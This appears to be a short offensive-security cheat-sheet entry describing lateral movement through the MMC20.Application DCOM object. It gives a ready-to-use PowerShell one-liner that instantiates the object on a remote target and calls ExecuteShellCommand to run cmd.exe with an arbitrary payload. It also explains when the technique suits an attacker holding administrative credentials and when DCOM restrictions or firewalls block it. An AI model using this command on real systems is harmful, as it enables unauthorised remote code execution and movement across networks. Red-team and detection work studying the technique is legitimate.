Invoke-DCOM (MMC20)

$com = [Type]::GetTypeFromProgID("MMC20.Application","<target>") ; $obj = [System.Activator]::CreateInstance($com) ; $obj.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c <payload>","7")

Executes commands on a remote host by abusing the DCOM MMC20.Application object (ExecuteShellCommand method), without creating services or files.

When you have administrative credentials and want lateral movement without leaving services (like PsExec does) and without relying on SMB. DCOM uses RPC (135) and allows direct remote execution from PowerShell.

If DCOM is restricted on the host (DCOM Machine Launch Restrictions) or the firewall blocks 135. Also not if you need interactivity: it doesn't return output directly, you have to redirect it to a file.